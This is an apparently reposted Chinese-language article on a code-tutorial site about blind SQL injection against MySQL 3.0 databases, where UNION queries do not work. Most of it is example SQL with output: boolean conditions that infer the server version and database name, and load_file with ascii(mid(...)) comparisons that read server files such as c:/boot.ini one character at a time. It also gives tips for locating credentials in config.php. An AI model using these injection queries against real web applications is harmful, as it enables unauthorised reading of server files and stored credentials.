欢迎来到代码驿站!

当前位置:首页 >

关于mysql 3.0的注射的一点思路

时间:2021-01-27 10:40:32|栏目:|点击:
mysql 3.0的注射  

对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。  

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file  
但是也不可以直接使用union替换出来。 下面就是我的一点思路:  

得到版本:  
mysql> select * from user where userid=1 and length(version())<10;  
Empty set (0.00 sec)  

mysql> select * from user where userid=1 and length(version())<1777;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

得到当前数据库:  
mysql> select * from user where userid=1 and length(database())>0;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

暴取文件代码:  
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;  
Empty set (0.05 sec)  

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;  
+--------+----------+----------+  
| userid | username | password |  
+--------+----------+----------+  
| 1 | angel | mypass |  
+--------+----------+----------+  
1 row in set (0.00 sec)  

因为工作量大,可以用程序来实现(不过也很麻烦)  
另外思路: 可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。  

上一篇:如何利用SQL进行推理

栏    目:

下一篇:Powershell小技巧之通过EventLog查看近期电脑开机和关机时间

本文标题:关于mysql 3.0的注射的一点思路

本文地址:http://www.codeinn.net/misctech/52141.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有